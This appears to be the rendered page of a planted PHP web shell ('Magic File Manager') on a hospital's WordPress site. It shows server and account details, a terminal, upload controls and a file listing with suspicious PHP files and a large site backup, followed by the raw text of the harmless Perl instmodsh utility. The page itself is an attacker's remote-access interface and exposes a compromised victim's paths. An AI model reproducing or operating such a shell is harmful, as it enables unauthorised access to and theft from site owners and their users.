✨ Magic File Manager

🚀 Hostinger Optimized
🖥️ Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
🐘 PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

📁 /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in
$
📂 /homepnj6a06usxf3public_htmlshivshaktihospital.co.in

📁 Create New

⬆️ Upload File

📊 Max upload: 32M | 📦 Max POST: 128M
📄 Name📊 Size🔒 Perm⚡ Actions
📁 .well-known--drwxr-xr-x
📁 shivshaktihospital.com--drwxr-xr-x
📁 wp-admin--drwxr-xr-x
📁 wp-content--drwxr-xr-x
📁 wp-includes--drwxr-xr-x
⚙️ .htaccess0.88 KB-rw-r--r--
📄 .htaccess.bk0.556 KB-rw-r--r--
📄 error_log435.481 KB-rw-r--r--
🐘 index.php0.396 KB-rw-r--r--
📃 license.txt19.437 KB-rw-r--r--
🐘 log.php63.893 KB-rw-r--r--
🌐 readme.html7.233 KB-rw-r--r--
📦 shivshaktihospital.com.zip499.69 MB-rw-r--r--
🐘 sid3.php55.304 KB-rw-r--r--
🐘 wp-activate.php7.537 KB-rw-r--r--
🐘 wp-blog-header.php0.343 KB-rw-r--r--
🐘 wp-comments-post.php2.269 KB-rw-r--r--
🐘 wp-config-sample.php3.261 KB-rw-r--r--
🐘 wp-config.php3.16 KB-rw-r--r--
🐘 wp-cron.php5.485 KB-rw-r--r--
🐘 wp-links-opml.php2.435 KB-rw-r--r--
🐘 wp-load.php3.845 KB-rw-r--r--
🐘 wp-login.php51.305 KB-rw-r--r--
🐘 wp-mail.php8.522 KB-rw-r--r--
🐘 wp-postnews.php12.595 KB-rw-r--r--
🐘 wp-settings.php32.375 KB-rw-r--r--
🐘 wp-signup.php34.259 KB-rw-r--r--
🐘 wp-trackback.php5.27 KB-rw-r--r--
🐘 xmlrpc.php3.13 KB-rw-r--r--
✨ File Manager Magic · Hostinger Optimized ✨
#!/usr/bin/perl -w BEGIN { pop @INC if $INC[-1] eq '.' } use strict; use IO::File; use ExtUtils::Packlist; use ExtUtils::Installed; use vars qw($Inst @Modules); =head1 NAME instmodsh - A shell to examine installed modules =head1 SYNOPSIS instmodsh =head1 DESCRIPTION A little interface to ExtUtils::Installed to examine installed modules, validate your packlists and even create a tarball from an installed module. =head1 SEE ALSO ExtUtils::Installed =cut my $Module_Help = < - Create a tar archive of the module h - Display module help q - Quit the module EOF my %Module_Commands = ( f => \&list_installed, d => \&list_directories, v => \&validate_packlist, t => \&create_archive, h => \&module_help, ); sub do_module($) { my ($module) = @_; print($Module_Help); MODULE_CMD: while (1) { print("$module cmd? "); my $reply = ; chomp($reply); my($cmd) = $reply =~ /^(\w)\b/; last if $cmd eq 'q'; if( $Module_Commands{$cmd} ) { $Module_Commands{$cmd}->($reply, $module); } elsif( $cmd eq 'q' ) { last MODULE_CMD; } else { module_help(); } } } sub list_installed { my($reply, $module) = @_; my $class = (split(' ', $reply))[1]; $class = 'all' unless $class; my @files; if (eval { @files = $Inst->files($module, $class); }) { print("$class files in $module are:\n ", join("\n ", @files), "\n"); } else { print($@); } }; sub list_directories { my($reply, $module) = @_; my $class = (split(' ', $reply))[1]; $class = 'all' unless $class; my @dirs; if (eval { @dirs = $Inst->directories($module, $class); }) { print("$class directories in $module are:\n ", join("\n ", @dirs), "\n"); } else { print($@); } } sub create_archive { my($reply, $module) = @_; my $file = (split(' ', $reply))[1]; if( !(defined $file and length $file) ) { print "No tar file specified\n"; } elsif( eval { require Archive::Tar } ) { Archive::Tar->create_archive($file, 0, $Inst->files($module)); } else { my($first, @rest) = $Inst->files($module); system('tar', 'cvf', $file, $first); for my $f (@rest) { system('tar', 'rvf', $file, $f); } print "Can't use tar\n" if $?; } } sub validate_packlist { my($reply, $module) = @_; if (my @missing = $Inst->validate($module)) { print("Files missing from $module are:\n ", join("\n ", @missing), "\n"); } else { print("$module has no missing files\n"); } } sub module_help { print $Module_Help; } ############################################################################## sub toplevel() { my $help = < - Select a module q - Quit the program EOF print($help); while (1) { print("cmd? "); my $reply = ; chomp($reply); CASE: { $reply eq 'l' and do { print("Installed modules are:\n ", join("\n ", @Modules), "\n"); last CASE; }; $reply =~ /^m\s+/ and do { do_module((split(' ', $reply))[1]); last CASE; }; $reply eq 'q' and do { exit(0); }; # Default print($help); } } } ############################################################################### $Inst = ExtUtils::Installed->new(); @Modules = $Inst->modules(); toplevel(); ###############################################################################